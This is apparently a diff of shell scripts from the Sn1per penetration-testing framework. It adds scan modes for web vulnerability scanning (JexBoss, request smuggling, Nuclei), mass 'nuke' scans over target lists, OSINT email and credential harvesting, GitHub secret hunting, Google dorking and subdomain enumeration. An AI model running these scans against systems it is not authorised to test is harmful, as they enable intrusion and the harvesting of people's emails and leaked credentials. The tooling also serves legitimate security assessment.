+  fi
+  if [[ "$JEXBOSS" = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING JEXBOSS $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      cd /tmp/
+      python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port443.raw
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port443.raw > $LOOT_DIR/web/jexboss-$TARGET-port443.txt 2> /dev/null
+      rm -f $LOOT_DIR/web/jexboss-$TARGET-port443.raw 2> /dev/null
+      cd $INSTALL_DIR
+  fi
+  if [[ "$SMUGGLER" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u https://$TARGET | tee $LOOT_DIR/web/smuggler-$TARGET-port443.txt
+  fi
+  if [[ "$NUCLEI" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    nuclei -silent -t /usr/share/sniper/plugins/nuclei-templates/ -c $THREADS -target https://$TARGET -o $LOOT_DIR/web/nuclei-https-10.0.0.19-port443.txt 
+  fi
+  rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi  
+fi

modes/nuke.sh

@@ -0,0 +1,57 @@
+# NUKE MODE #####################################################################################################
+if [[ "$MODE" = "nuke" ]]; then
+  if [[ -z "$FILE" ]]; then
+    logo
+    echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
+    exit
+  fi
+  if [[ "$REPORT" = "1" ]]; then
+    for a in `cat $FILE`;
+    do
+      if [[ ! -z "$WORKSPACE" ]]; then
+        args="$args -w $WORKSPACE"
+        WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+        echo -e "$OKBLUE[*] Saving loot to $WORKSPACE_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+        mkdir -p $WORKSPACE_DIR 2> /dev/null
+        mkdir $WORKSPACE_DIR/domains 2> /dev/null
+        mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
+        mkdir $WORKSPACE_DIR/nmap 2> /dev/null
+        mkdir $WORKSPACE_DIR/notes 2> /dev/null
+        mkdir $WORKSPACE_DIR/reports 2> /dev/null
+        mkdir $WORKSPACE_DIR/output 2> /dev/null
+      fi
+      args="$args --noreport --noloot"
+      TARGET="$a"
+      args="$args -t $TARGET -b"
+      echo -e "$OKRED "
+      echo -e "$OKRED                              ____"
+      echo -e "$OKRED                      __,-~~/~    \`---."
+      echo -e "$OKRED                    _/_,---(      ,    )"
+      echo -e "$OKRED                __ /        <    /   )  \___"
+      echo -e "$OKRED - ------===;;;'====------------------===;;;===----- -  -"
+      echo -e "$OKRED                   \/  ~'~'~'~'~'~\~'~)~'/"
+      echo -e "$OKRED                   (_ (   \  (     >    \)"
+      echo -e "$OKRED                    \_( _ <         >_>'"
+      echo -e "$OKRED                       ~ \`-i' ::>|--\""
+      echo -e "$OKRED                           I;|.|.|"
+      echo -e "$OKRED                          <|i::|i|\`."
+      echo -e "$OKRED                        (\` ^''\`-' ')"
+      echo -e "$OKRED --------------------------------------------------------- $RESET"
+      echo -e "$OKORANGE + -- --=[WARNING! Nuking ALL target! $RESET"
+      echo -e "$RESET"
+      if [[ ! -z "$WORKSPACE_DIR" ]]; then
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      else
+        echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+        sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+      fi
+      args=""
+    done
+  fi
+  
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi  
+  exit
+fi

modes/osint.sh

@@ -0,0 +1,133 @@
+if [[ "$OSINT" = "1" ]]; then
+	echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+	if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+		/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+	fi	
+	if [[ "$WHOIS" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING WHOIS INFO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		if [[ "$VERBOSE" == "1" ]]; then
+			echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null $RESET"
+		fi
+		whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null 
+		if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then
+			/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt"
+		fi
+	fi
+    if [[ "$SPOOF_CHECK" = "1" ]]; then
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	    echo -e "$OKRED CHECKING FOR EMAIL SECURITY $RESET"
+	    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+	    dig $TARGET txt | egrep -i 'spf|DMARC|dkim' | tee $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
+	    dig iport._domainkey.${TARGET} txt | egrep -i 'spf|DMARC|DKIM' | tee -a $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
+	    dig _dmarc.${TARGET} txt | egrep -i 'spf|DMARC|DKIM' | tee -a $LOOT_DIR/nmap/email-$TARGET.txt 2>/dev/null
+	    echo ""
+	    if [[ "$SLACK_NOTIFICATIONS_EMAIL_SECURITY" == "1" ]]; then
+	      /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/email-$TARGET.txt"
+	    fi
+	fi
+	if [[ "$ULTRATOOLS" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING ULTATOOLS DNS INFO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		curl -s https://www.ultratools.com/tools/ipWhoisLookupResult\?ipAddress\=$TARGET | grep -A2 label | grep -v input | grep span | cut -d">" -f2 | cut -d"<" -f1 | sed 's/\&nbsp\;//g' 2> /dev/null | tee $LOOT_DIR/osint/ultratools-$TARGET.txt 2> /dev/null
+	fi
+	if [[ "$INTODNS" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING DNS INFO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		wget -q http://www.intodns.com/$TARGET -O $LOOT_DIR/osint/intodns-$TARGET.html 2> /dev/null
+		echo -e "$OKRED[+]$RESET Report saved to: $LOOT_DIR/osint/intodns-$TARGET.html"
+	fi
+	if [[ "$THEHARVESTER" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING THEHARVESTER OSINT INFO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		cp -f /etc/theHarvester/api-keys.yaml ~/api-keys.yaml 2> /dev/null
+		cd ~ 2> /dev/null
+		theHarvester -d $TARGET -b all 2> /dev/null | tee $LOOT_DIR/osint/theharvester-$TARGET.txt 2> /dev/null 
+		cd $INSTALL_DIR 2> /dev/null
+		if [[ "$SLACK_NOTIFICATIONS_THEHARVESTER" == "1" ]]; then
+			/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/theharvester-$TARGET.txt"
+		fi
+	fi
+	if [[ "$EMAILFORMAT" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING EMAILS FROM EMAIL-FORMAT.COM $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		curl -s https://www.email-format.com/d/$TARGET| grep @$TARGET | grep -v div | sed "s/\t//g" | sed "s/ //g" 2> /dev/null | tee $LOOT_DIR/osint/email-format-$TARGET.txt 2> /dev/null 
+
+		if [[ "$SLACK_NOTIFICATIONS_EMAIL_FORMAT" == "1" ]]; then
+			/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/email-format-$TARGET.txt"
+		fi
+	fi
+	if [[ "$URLCRAZY" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING DNS ALTERATIONS $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		urlcrazy $TARGET 2> /dev/null | tee $LOOT_DIR/osint/urlcrazy-$TARGET.txt 2> /dev/null
+	fi
+	if [[ "$METAGOOFIL" == "1" ]]; then
+		if [[ "$VERBOSE" == "1" ]]; then
+			echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN metagoofil -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null  $RESET"
+		fi
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED COLLECTING OSINT FROM ONLINE DOCUMENTS $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		cd $INSTALL_DIR/plugins/metagoofil/
+		python3 metagoofil.py -d $TARGET -t doc,pdf,xls,csv,txt -l 25 -n 25 -o $LOOT_DIR/osint/ -f $LOOT_DIR/osint/$TARGET.html 2> /dev/null | tee $LOOT_DIR/osint/metagoofil-$TARGET.txt 2> /dev/null 
+		cd $INSTALL_DIR
+		if [[ "$SLACK_NOTIFICATIONS_METAGOOFIL" == "1" ]]; then
+			/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/metagoofil-$TARGET.txt"
+		fi
+	fi
+	if [[ "$URLSCANIO" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED COLLECTING OSINT FROM URLSCAN.IO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		curl --insecure -L -s "https://urlscan.io/api/v1/search/?q=domain:$TARGET" 2> /dev/null | egrep "country|server|domain|ip|asn|$TARGET|prt"| sort -u | tee $LOOT_DIR/osint/urlscanio-$TARGET.txt 2> /dev/null
+	fi
+	if [[ "$HUNTERIO" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING EMAILS VIA HUNTER.IO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		curl -s "https://api.hunter.io/v2/domain-search?domain=$TARGET&api_key=$HUNTERIO_KEY" | egrep "name|value|domain|company|uri|position|phone" 2> /dev/null | tee $LOOT_DIR/osint/hunterio-$TARGET.txt 2> /dev/null
+	fi
+	if [[ "$TOMBAIO" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING EMAILS VIA TOMBA.IO $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		curl -H "X-Tomba-Key: $TOMBAIO_KEY" -H "X-Tomba-Secret: $TOMBAIO_SECRET" -s "https://api.tomba.io/v1/domain-search?domain=$TARGET" | egrep "email|organization|uri|position|phone" 2> /dev/null | tee $LOOT_DIR/osint/tombaio$TARGET.txt 2> /dev/null
+	fi
+	if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED GATHERING EMAILS VIA METASPLOIT $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		msfconsole -x "use auxiliary/gather/search_email_collector; set DOMAIN $TARGET; run; exit y" | tee $LOOT_DIR/osint/msf-emails-$TARGET.txt 2> /dev/null
+	fi
+	if [[ "$H8MAIL" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED CHECKING FOR COMPROMISED CREDENTIALS $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		h8mail -q domain --target $TARGET -o $LOOT_DIR/osint/h8mail-$TARGET.csv 2> /dev/null
+	fi
+	if [[ "$GITHUB_SECRETS" == "1" ]]; then
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		echo -e "$OKRED CHECKING FOR GITHUB SECRETS $RESET"
+		echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+		cd $INSTALL_DIR/plugins/gitGraber/
+		ORGANIZATION=$(echo $TARGET | awk -F. '{print $(NF-1)}' 2> /dev/null)
+		mv $LOOT_DIR/osint/github-urls-$ORGANIZATION.txt $LOOT_DIR/osint/github-urls-$ORGANIZATION.old 2> /dev/null
+		mv -f rawGitUrls.txt $LOOT_DIR/osint/github-urls-$ORGANIZATION.txt 2> /dev/null
+		touch rawGitUrls.txt 2> /dev/null
+		python3 gitGraber.py -q "\"org:$ORGANIZATION\"" -s 2>&1 | tee $LOOT_DIR/osint/gitGrabber-$ORGANIZATION.txt 2> /dev/null
+		diff $LOOT_DIR/osint/github-urls-$ORGANIZATION.txt $LOOT_DIR/osint/github-urls-$ORGANIZATION.old 2> /dev/null > $LOOT_DIR/osint/github-urls-$ORGANIZATION.diff
+		cat $LOOT_DIR/osint/github-urls-$ORGANIZATION.diff 2> /dev/null
+		#python3 gitGraber.py -k wordlists/keywords.txt -q "\"$TARGET\"" -s 2>&1 | tee $LOOT_DIR/osint/gitGrabber-$TARGET.txt 2> /dev/null
+	fi
+	echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+	if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+		/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+	fi
+fi

modes/osint_stage_2.sh

@@ -0,0 +1,26 @@
+  if [[ $SCAN_TYPE == "DOMAIN" ]] && [[ $OSINT == "1" ]]; then
+    echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+    if [[ $GOOHAK = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      goohak $TARGET > /dev/null
+    fi
+    if [[ $INURLBR = "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      php /usr/share/sniper/bin/inurlbr.php --dork "site:$TARGET" -s inurlbr-$TARGET | tee $LOOT_DIR/osint/inurlbr-$TARGET
+      sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/osint/inurlbr-$TARGET > $LOOT_DIR/osint/inurlbr-$TARGET.txt 2> /dev/null
+      rm -f $LOOT_DIR/osint/inurlbr-$TARGET
+      rm -Rf output/ cookie.txt exploits.conf
+    fi
+    GHDB="1"
+    echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+      /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per stage 2 OSINT scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+    fi
+  fi

modes/recon.sh

@@ -0,0 +1,263 @@
+if [[ "$RECON" = "1" ]]; then
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per recon scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per recon scan: $TARGET [recon] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+
+  touch $LOOT_DIR/domains/domains_old-$TARGET.txt 2> /dev/null
+  cp $LOOT_DIR/domains/domains-$TARGET-full.txt $LOOT_DIR/domains/domains_old-$TARGET.txt 2> /dev/null
+  
+  if [[ "$SUBLIST3R" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBLIST3R $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    python3 /usr/share/sniper/plugins/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null > /dev/null
+    sed -ie 's/<BR>/\n/g' domains-$TARGET-full.txt 2> /dev/null
+    mv -f $LOOT_DIR/domains/domains-$TARGET.txte $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+  fi
+  if [[ "$AMASS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA AMASS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    amass enum -ip -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -rf /usr/share/sniper/plugins/massdns/lists/resolvers.txt -d $TARGET 2>/dev/null > /dev/null
+    cut -d" " -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt
+    cut -d" " -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null > $LOOT_DIR/ips/amass-ips-$TARGET.txt
+    wc -l $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt
+    wc -l $LOOT_DIR/ips/amass-ips-$TARGET.txt
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING REVERSE WHOIS DNS SUBDOMAINS VIA AMASS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    amass intel -whois -d $TARGET > $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null
+  fi
+  if [[ "$SUBFINDER" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING DNS SUBDOMAINS VIA SUBFINDER $RESET"
+    echo -e "$OKBLUE[*]$RESET Running: subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -d $TARGET -t 100 $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -d $TARGET -nW -rL /sniper/wordlists/resolvers.txt -t $THREADS 2>/dev/null > /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET-subfinder.txt 2> /dev/null
+  fi  
+  if [[ "$DNSCAN" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED BRUTE FORCING DNS SUBDOMAINS VIA DNSCAN (THIS COULD TAKE A WHILE...) $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    python3 $PLUGINS_DIR/dnscan/dnscan.py -d $TARGET -w $DOMAINS_QUICK -o $LOOT_DIR/domains/domains-dnscan-$TARGET.txt -i $LOOT_DIR/domains/domains-ips-$TARGET.txt
+    cat $LOOT_DIR/domains/domains-dnscan-$TARGET.txt 2>/dev/null | grep $TARGET| awk '{print $3}' | sort -u >> $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+    dos2unix $LOOT_DIR/domains/domains-$TARGET.txt 2>/dev/null
+    sed -ie 's/<BR>/\n/g' $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+    mv -f $LOOT_DIR/domains/domains-$TARGET.txte $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+    wc -l $LOOT_DIR/domains/domains-$TARGET.txt 2> /dev/null
+  fi
+  echo ""
+  if [[ "$CRTSH" = "1" ]]; then
+    echo -e "$OKRED ╔═╗╦═╗╔╦╗╔═╗╦ ╦$RESET"
+    echo -e "$OKRED ║  ╠╦╝ ║ ╚═╗╠═╣$RESET"
+    echo -e "$OKRED ╚═╝╩╚═ ╩o╚═╝╩ ╩$RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING CERTIFICATE SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$RESET"
+    curl -s https://crt.sh/?q=%25.$TARGET > $LOOT_DIR/domains/domains-$TARGET-presorted.txt
+    cat $LOOT_DIR/domains/domains-$TARGET-presorted.txt | grep $TARGET | grep TD | sed -e 's/<//g' | sed -e 's/>//g' | sed -e 's/TD//g' | sed -e 's/BR/\n/g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt
+    wc -l $LOOT_DIR/domains/domains-$TARGET-crt.txt 2> /dev/null
+    echo ""
+    echo -e "${OKRED}[+] Domains saved to: $LOOT_DIR/domains/domains-$TARGET-crt.txt"
+  fi
+  if [[ "$SPYSE" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING SPYSE SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKBLUE"
+    spyse -target $TARGET --subdomains | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-spyse.txt
+    wc -l $LOOT_DIR/domains/domains-$TARGET-spyse.txt 2> /dev/null
+  fi
+  if [[ "$CENSYS_SUBDOMAINS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING CENSYS SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    python3 $PLUGINS_DIR/censys-subdomain-finder/censys_subdomain_finder.py --censys-api-id $CENSYS_APP_ID --censys-api-secret $CENSYS_API_SECRET $TARGET | egrep "\-" | awk '{print $2}' | egrep -v "Searching|Found" > $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null 
+    wc -l $LOOT_DIR/domains/domains-$TARGET-censys.txt 2> /dev/null
+  fi
+  if [[ "$SHODAN" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED GATHERING SHODAN SUBDOMAINS $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    shodan init $SHODAN_API_KEY
+    shodan search "hostname:*.$TARGET" > $LOOT_DIR/domains/shodan-$TARGET.txt 2> /dev/null 
